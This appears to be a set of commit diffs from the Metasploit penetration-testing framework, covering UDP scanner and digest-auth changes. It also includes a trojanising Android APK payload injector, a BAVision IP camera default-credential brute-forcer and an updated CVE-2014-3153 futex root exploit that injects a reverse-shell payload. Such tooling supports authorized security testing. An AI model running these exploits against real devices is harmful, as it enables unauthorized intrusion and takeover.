'LocalHost' => datastore['CHOST'] || nil,
'LocalPort' => datastore['CPORT'] || 0,
'PeerHost' => ip,
'PeerPort' => port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
add_socket(@udp_socks[key])
end
return @udp_socks[key]
end
end
def cleanup_udp_socks
@udp_socks_mutex.synchronize do
@udp_socks.each do |key, sock|
@udp_socks.delete(key)
remove_socket(sock)
sock.close
end
end
end
# Start scanning a batch of IP addresses
def run_batch(batch)
@udp_sock = Rex::Socket::Udp.create({
'LocalHost' => datastore['CHOST'] || nil,
'LocalPort' => datastore['CPORT'] || 0,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
add_socket(@udp_sock)
@udp_socks = {}
@udp_socks_mutex = Mutex.new
@udp_send_count = 0
@interval_mutex = Mutex.new
# Provide a hook for pre-scanning setup
scanner_prescan(batch)
@ -95,9 +120,10 @@ module Auxiliary::UDPScanner
def scanner_send(data, ip, port)
resend_count = 0
sock = nil
begin
@udp_sock.sendto(data, ip, port, 0)
sock = udp_sock(ip, port)
sock.send(data, 0)
rescue ::Errno::ENOBUFS
resend_count += 1
@ -112,15 +138,16 @@ module Auxiliary::UDPScanner
retry
rescue ::Rex::ConnectionError
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED
# This fires for host unreachable, net unreachable, and broadcast sends
# We can safely ignore all of these for UDP sends
end
@udp_send_count += 1
if @udp_send_count % datastore['ScannerRecvInterval'] == 0
scanner_recv(0.1)
@interval_mutex.synchronize do
@udp_send_count += 1
if @udp_send_count % datastore['ScannerRecvInterval'] == 0
scanner_recv(0.1)
end
end
true
@ -129,29 +156,38 @@ module Auxiliary::UDPScanner
# Process incoming packets and dispatch to the module
# Ensure a response flood doesn't trap us in a loop
# Ignore packets outside of our project's scope
def scanner_recv(timeout=0.1)
def scanner_recv(timeout = 0.1)
queue = []
while (res = @udp_sock.recvfrom(65535, timeout))
start = Time.now
while Time.now - start < timeout do
readable, _, _ = ::IO.select(@udp_socks.values, nil, nil, timeout)
if readable
for sock in readable
res = sock.recvfrom(65535, timeout)
# Ignore invalid responses
break if not res[1]
# Ignore invalid responses
break if not res[1]
# Ignore empty responses
next if not (res[0] and res[0].length > 0)
# Ignore empty responses
next if not (res[0] and res[0].length > 0)
# Trim the IPv6-compat prefix off if needed
shost = res[1].sub(/^::ffff:/, '')
# Trim the IPv6-compat prefix off if needed
shost = res[1].sub(/^::ffff:/, '')
# Ignore the response if we have a boundary
next unless inside_workspace_boundary?(shost)
# Ignore the response if we have a boundary
next unless inside_workspace_boundary?(shost)
queue << [res[0], shost, res[2]]
queue << [res[0], shost, res[2]]
if queue.length > datastore['ScannerRecvQueueLimit']
break
if queue.length > datastore['ScannerRecvQueueLimit']
break
end
end
end
end
cleanup_udp_socks
queue.each do |q|
scanner_process(*q)
end

View File

@ -55,6 +55,7 @@ module HttpClients
SAFARI = "Safari"
OPERA = "Opera"
CHROME = "Chrome"
EDGE = "Edge"
UNKNOWN = "Unknown"
end

View File

@ -124,8 +124,6 @@ module Msf::DBManager::Connection
ActiveRecord::Base.connection.active?
}
rescue ActiveRecord::ConnectionNotEstablished, PG::ConnectionBad => error
elog("Connection not established: #{error.class} #{error}:\n#{error.backtrace.join("\n")}")
false
end
end

View File

@ -11,7 +11,7 @@ module Msf
def auto_target?
selected_target = targets[target_index]
return false if selected_target.nil?
if selected_target.name =~ /Automatic/ && selected_target['AutoGenerated'] == true
if selected_target.name =~ /Automatic/ && selected_target['AutoGenerated'] == true && auto_target_host
true
else
false
@ -38,7 +38,7 @@ module Msf
# @return [Msf::Module::Target] the Target that our automatic routine selected
def select_target
return nil unless auto_target?
host_record = target_host
host_record = auto_target_host
return nil if host_record.nil?
filtered_targets = filter_by_os(host_record)
filtered_targets.first
@ -48,7 +48,7 @@ module Msf
#
# @return [Mdm:Host] the Host record if one exists
# @return [nil] if no Host record is present, or the DB is not active
def target_host
def auto_target_host
return nil unless self.respond_to?(:rhost)
return nil unless framework.db.active
current_workspace = framework.db.find_workspace(self.workspace)

View File

@ -80,10 +80,6 @@ module Exploit::Remote::HttpClient
)
register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ])
register_autofilter_services(%W{ http https })
# Used by digest auth
@cnonce = make_cnonce
@nonce_count = -1
end
@ -769,10 +765,6 @@ module Exploit::Remote::HttpClient
fprint[:signature]
end
def make_cnonce
Digest::MD5.hexdigest "%x" % (Time.now.to_i + rand(65535))
end
protected
attr_accessor :client

View File

@ -68,7 +68,7 @@ class Msf::Payload::Apk
}
end
def fix_manifest(tempdir)
def fix_manifest(tempdir, package)
#Load payload's manifest
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
@ -98,8 +98,12 @@ class Msf::Payload::Apk
end
application = original_manifest.at_xpath('/manifest/application')
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
service = payload_manifest.at_xpath('/manifest/application/service')
receiver.attributes["name"].value = package + receiver.attributes["name"].value
service.attributes["name"].value = package + service.attributes["name"].value
application << receiver.to_xml
application << service.to_xml
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
end
@ -207,6 +211,7 @@ class Msf::Payload::Apk
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
package = amanifest.xpath("//manifest").first['package']
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
package_slash = package.gsub(/\./, "/")
print_status "Adding payload as package #{package}\n"
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
@ -232,7 +237,7 @@ class Msf::Payload::Apk
injected_apk = "#{tempdir}/output.apk"
aligned_apk = "#{tempdir}/aligned.apk"
print_status "Poisoning the manifest with meterpreter permissions..\n"
fix_manifest(tempdir)
fix_manifest(tempdir, package)
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")

View File

@ -1236,7 +1236,7 @@ class Core
session.response_timeout = response_timeout
end
output = session.run_cmd cmd
output = session.run_cmd(cmd, driver.output)
end
end
when 'kill'

View File

@ -27,7 +27,7 @@ module Msf
def commands
{
"back" => "Move back from the current context",
"edit" => "Edit the current module with $VISUAL or $EDITOR",
"edit" => "Edit the current module with the preferred editor",
"advanced" => "Displays advanced options for one or more modules",
"info" => "Displays information about one or more modules",
"options" => "Displays global options or for one or more modules",
@ -61,18 +61,17 @@ module Msf
"Module"
end
def local_editor
Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim'
framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR')
end
def cmd_edit_help
msg = "Edit the currently active module"
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}."
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "(LocalEditor or $VISUAL/$EDITOR should be set first)"}."
print_line "Usage: edit"
print_line
print_line msg
print_line "When done editing, you must reload the module with 'reload' or 'rexploit'."
print_line "When done editing, you must reload the module with 'reload' or 'rerun'."
print_line
end
@ -80,20 +79,22 @@ module Msf
# Edit the currently active module
#
def cmd_edit
unless local_editor
print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'"
return
end
if active_module
path = active_module.file_path
print_status "Launching #{local_editor} #{path}"
system(local_editor,path)
editor = local_editor
path = active_module.file_path
if editor.nil?
editor = 'vim'
print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.")
end
print_status("Launching #{editor} #{path}")
system(editor, path)
else
print_error "Nothing to edit -- try using a module first."
print_error('Nothing to edit -- try using a module first.')
end
end
def cmd_advanced_help
print_line 'Usage: advanced [mod1 mod2 ...]'
print_line

View File

@ -33,12 +33,21 @@ class Datagram < Rex::Post::Meterpreter::Channel
'udp'
end
def recvfrom_nonblock(length,flags = nil)
return [super(length, flags)[0], super(length, flags)[0]]
def recvfrom_nonblock(length, flags = 0)
data = super(length, flags)[0]
sockaddr = super(length, flags)[0]
[data, sockaddr]
end
def send(buf, flags, saddr)
channel.send(buf, flags, saddr)
#
# This should work just like a UDPSocket.send method
#
# send(mesg, flags, host, port) => numbytes_sent click to toggle source
# send(mesg, flags, sockaddr_to) => numbytes_sent
# send(mesg, flags) => numbytes_sent
#
def send(buf, flags, a = nil, b = nil)
channel.send(buf, flags, a, b)
end
end
@ -53,17 +62,12 @@ class Datagram < Rex::Post::Meterpreter::Channel
)
if peerhost && peerport
# Maxlen here is 65507, to ensure we dont overflow, we need to write twice
# If the other side has a full 64k, handle by splitting up the datagram and
# writing multiple times along with the sockaddr. Consumers calling recvfrom
# repeatedly will buffer up all the pieces.
while data.length > 65507
rsock.syswrite(data[0..65506])
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport))
data = data - data[0..65506]
end
rsock.syswrite(data)
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport))
# A datagram can be maximum 65507 bytes, truncate longer messages
rsock.syswrite(data[0..65506])
# We write the data and sockaddr data to the local socket, the pop it
# back in recvfrom_nonblock.
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost, peerport))
return true
else
return false

View File

@ -272,7 +272,7 @@ class Android < Extension
end
def send_sms(dest, body, dr)
request = Packet.create_request('android_android_send_sms')
request = Packet.create_request('android_send_sms')
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
request.add_tlv(TLV_TYPE_SMS_BODY, body)
request.add_tlv(TLV_TYPE_SMS_DR, dr)

View File

@ -77,24 +77,41 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram
end
#
# This function is called by Rex::Socket::Udp.sendto and writes data to a specified
# remote peer host/port via the remote end of the channel.
# This function is called by Rex::Socket::Udp.sendto and writes data to a
# specified remote peer host/port via the remote end of the channel.
#
def send(buf, flags, saddr)
_af, peerhost, peerport = Rex::Socket.from_sockaddr(saddr)
# This should work just like a UDPSocket.send method
#
# send(mesg, flags, host, port) => numbytes_sent click to toggle source
# send(mesg, flags, sockaddr_to) => numbytes_sent
# send(mesg, flags) => numbytes_sent
#
def send(buf, flags, a = nil, b = nil)
host = nil
port = nil
addends = [
{
'type' => TLV_TYPE_PEER_HOST,
'value' => peerhost
},
{
'type' => TLV_TYPE_PEER_PORT,
'value' => peerport
}
]
if a && b.nil?
_, host, port = Rex::Socket.from_sockaddr(a)
elsif a && b
host = a
port = b
end
return _write(buf, buf.length, addends)
addends = nil
if host && port
addends = [
{
'type' => TLV_TYPE_PEER_HOST,
'value' => host
},
{
'type' => TLV_TYPE_PEER_PORT,
'value' => port
}
]
end
_write(buf, buf.length, addends)
end
end

View File

@ -310,12 +310,18 @@ class Client
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
end
def make_cnonce
Digest::MD5.hexdigest "%x" % (Time.now.to_i + rand(65535))
end
# Send a series of requests to complete Digest Authentication
#
# @param opts [Hash] the options used to build an HTTP request
# @return [Response] the last valid HTTP response we received
def digest_auth(opts={})
@nonce_count = 0
cnonce = make_cnonce
nonce_count = 0
to = opts['timeout'] || 20
@ -330,7 +336,7 @@ class Client
end
begin
@nonce_count += 1
nonce_count += 1
resp = opts['response']
@ -387,7 +393,7 @@ class Client
[
algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
parameters['nonce'],
@cnonce
cnonce
].join ':'
else
"#{digest_user}:#{parameters['realm']}:#{digest_password}"
@ -397,7 +403,7 @@ class Client
ha2 = algorithm.hexdigest("#{method}:#{path}")
request_digest = [ha1, parameters['nonce']]
request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop
request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop
request_digest << ha2
request_digest = request_digest.join ':'
@ -407,8 +413,8 @@ class Client
"realm=\"#{parameters['realm']}\"",
"nonce=\"#{parameters['nonce']}\"",
"uri=\"#{path}\"",
"cnonce=\"#{@cnonce}\"",
"nc=#{'%08x' % @nonce_count}",
"cnonce=\"#{cnonce}\"",
"nc=#{'%08x' % nonce_count}",
"algorithm=#{algstr}",
"response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"",
# The spec says the qop value shouldn't be enclosed in quotes, but

View File

@ -67,7 +67,7 @@ Gem::Specification.new do |spec|
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.6'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.4'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.6'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -0,0 +1,137 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/bavision_cameras'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'BAVision IP Camera Web Server Login',
'Description' => %q{
This module will attempt to authenticate to an IP camera created by BAVision via the
web service. By default, the vendor ships a default credential admin:123456 to its
cameras, and the web server does not enforce lockouts in case of a bruteforce attack.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE
))
register_options(
[
OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:123456', false])
], self.class)
end
def scanner(ip)
@scanner ||= lambda {
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
if datastore['TRYDEFAULT']
# Add the default username and password
print_status("Default credential admin:123456 added to the credential queue for testing.")
cred_collection.add_public('admin')
cred_collection.add_private('123456')
end
return Metasploit::Framework::LoginScanner::BavisionCameras.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword']
))
}.call
end
def report_good_cred(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: result.status,
proof: result.proof
}.merge(service_data)
create_credential_login(login_data)
end
def report_bad_cred(ip, rport, result)
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
end
def bruteforce(ip)
scanner(ip).scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
report_good_cred(ip, rport, result)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
report_bad_cred(ip, rport, result)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
report_bad_cred(ip, rport, result)
end
end
end
def run_host(ip)
unless scanner(ip).check_setup
print_brute(:level => :error, :ip => ip, :msg => 'Target is not BAVision IP camera web server.')
return
end
bruteforce(ip)
end
end

View File

@ -8,7 +8,7 @@ require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
@ -42,8 +42,6 @@ class MetasploitModule < Msf::Auxiliary
password = nil
begin
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( {
'LocalHost' => datastore['CHOST'] || nil,
'PeerHost' => ip,

View File

@ -32,52 +32,142 @@ class MetasploitModule < Msf::Exploit::Local
[ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
[ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ],
],
'SessionTypes' => [ 'meterpreter' ],
'Platform' => 'android',
'Targets' => [[ 'Automatic', { }]],
'Arch' => ARCH_DALVIK,
'DisclosureDate' => "May 03 2014",
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ "android", "linux" ],
'Payload' => { 'Space' => 2048, },
'DefaultOptions' =>
{
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
},
{
'WfsDelay' => 300,
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
},
'DefaultTarget' => 0,
'DisclosureDate' => "May 03 2014"
'Targets' => [
# Automatic targetting via getprop ro.build.model
['Automatic Targeting', { 'auto' => true }],
# This is the default setting, Nexus 4, 5, 7, etc
['Default',
{
'new_samsung' => false,
'iovstack' => 2,
'offset' => 0,
'force_remove' => false,
}
],
# Samsung devices, S4, S5, etc
['New Samsung',
{
'new_samsung' => true,
'iovstack' => 2,
'offset' => 7380,
'force_remove' => true,
}
],
# Older Samsung devices, e.g the Note 2
['Old Samsung',
{
'new_samsung' => false,
'iovstack' => 1,
'offset' => 0,
'force_remove' => true,
}
],
# Samsung Galaxy Grand, etc
['Samsung Grand',
{
'new_samsung' => false,
'iovstack' => 5,
'offset' => 0,
'force_remove' => true,
}
],
]
}
))
register_options([
OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]),
], self.class)
end
def put_local_file(remotefile)
localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" )
data = File.read(localfile, {:mode => 'rb'})
write_file(remotefile, data)
end
def exploit
if target['auto']
product = cmd_exec("getprop ro.build.product")
fingerprint = cmd_exec("getprop ro.build.fingerprint")
print_status("Found device: #{product}")
print_status("Fingerprint: #{fingerprint}")
if [
"mako",
"m7",
"hammerhead",
"grouper",
"Y530-U00",
"G6-U10",
"g2",
"w7n",
"D2303",
"cancro",
].include? product
my_target = targets[1] # Default
elsif [
"klte",
"jflte",
].include? product
my_target = targets[2] # New Samsung
elsif [
"t03g",
"m0",
].include? product
my_target = targets[3] # Old Samsung
elsif [
"baffinlite",
"Vodafone_785",
].include? product
my_target = targets[4] # Samsung Grand
else
print_status("Could not automatically target #{product}")
my_target = targets[1] # Default
end
else
my_target = target
end
print_status("Using target: #{my_target.name}")
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.so" )
exploit_data = File.read(local_file, {:mode => 'rb'})
# Substitute the exploit shellcode with our own
space = payload_space
payload_encoded = payload.encoded
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
# Apply the target config
offsets = my_target.opts
config_buf = [
offsets['new_samsung'] ? -1 : 0,
offsets['iovstack'].to_i,
offsets['offset'].to_i,
offsets['force_remove'] ? -1 : 0,
].pack('I4')
exploit_data.gsub!("c0nfig" + "\x00" * 10, config_buf)
workingdir = session.fs.dir.getwd
exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
write_file(remote_file, exploit_data)
put_local_file(exploitfile)
cmd_exec('/system/bin/chmod 700 ' + exploitfile)
write_file(payloadfile, payload.raw)
tmpdir = datastore['WritableDir']
rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}"
rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar"
rootcmd = " mkdir #{rootclassdir} && "
rootcmd += "cd #{rootclassdir} && "
rootcmd += "cp " + payloadfile + " #{rootpayload} && "
rootcmd += "chmod 766 #{rootpayload} && "
rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload"
process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true})
process.channel.read
print_status("Loading exploit library #{remote_file}")
session.core.load_library(
'LibraryFilePath' => local_file,
'TargetFilePath' => remote_file,
'UploadLibrary' => false,
'Extension' => false,
'SaveToDisk' => false
)
print_status("Loaded library #{remote_file}, deleting")
session.fs.file.rm(remote_file)
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
end
end

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 292344
CachedSize = 301456
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 285000
CachedSize = 295848
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 284152
CachedSize = 295848
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 504960
CachedSize = 521872
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 484668
CachedSize = 503004
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 484732
CachedSize = 503036
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 329724
CachedSize = 395276
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 396160
CachedSize = 396192
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_mettle_linux'
module MetasploitModule
CachedSize = 289824
CachedSize = 302144
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_mettle_linux'
module MetasploitModule
CachedSize = 292828
CachedSize = 305148
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 367864
CachedSize = 380192
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -0,0 +1,55 @@
require 'metasploit/framework/login_scanner/bavision_cameras'
RSpec.describe Metasploit::Framework::LoginScanner::BavisionCameras do
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
subject do
described_class.new
end
describe '#digest_auth' do
let(:username) { 'admin' }
let(:password) { '123456' }
let(:response) {
{
"www-authenticate" => "Digest realm=\"IPCamera Login\", nonce=\"918fee7e0b1126e4c2577911901a181b\", qop=\"auth\""
}
}
context 'when a credential is given' do
it 'returns a string with username' do
expect(subject.digest_auth(username, password, response)).to include('username=')
end
it 'returns a string with realm' do
expect(subject.digest_auth(username, password, response)).to include('realm=')
end
it 'returns a string with qop' do
expect(subject.digest_auth(username, password, response)).to include('qop=')
end
it 'returns a string with uri' do
expect(subject.digest_auth(username, password, response)).to include('uri=')
end
it 'returns a string with nonce' do
expect(subject.digest_auth(username, password, response)).to include('nonce=')
end
it 'returns a string with nonce count' do
expect(subject.digest_auth(username, password, response)).to include('nc=')
end
it 'returns a string with cnonce' do
expect(subject.digest_auth(username, password, response)).to include('cnonce=')
end
it 'returns a string with response' do
expect(subject.digest_auth(username, password, response)).to include('response=')
end
end
end
end

View File

@ -48,7 +48,11 @@ RSpec.describe Msf::Exploit::AutoTarget do
describe '#auto_target?' do
it 'should return true if the automatic target is selected' do
host_addr = '192.168.1.5'
host_obj = FactoryGirl.create(:mdm_host, address: host_addr )
windows_exploit.datastore['TARGET'] = 0
windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name
windows_exploit.datastore['RHOST'] = host_addr
expect(windows_exploit.auto_target?).to be true
end
@ -69,12 +73,12 @@ RSpec.describe Msf::Exploit::AutoTarget do
host_obj = FactoryGirl.create(:mdm_host, address: host_addr )
windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name
windows_exploit.datastore['RHOST'] = host_addr
expect(windows_exploit.target_host).to eq host_obj
expect(windows_exploit.auto_target_host).to eq host_obj
end
it 'should return nil if there is not one' do
windows_exploit.datastore['RHOST'] = '192.168.111.115'
expect(windows_exploit.target_host).to be_nil
expect(windows_exploit.auto_target_host).to be_nil
end
end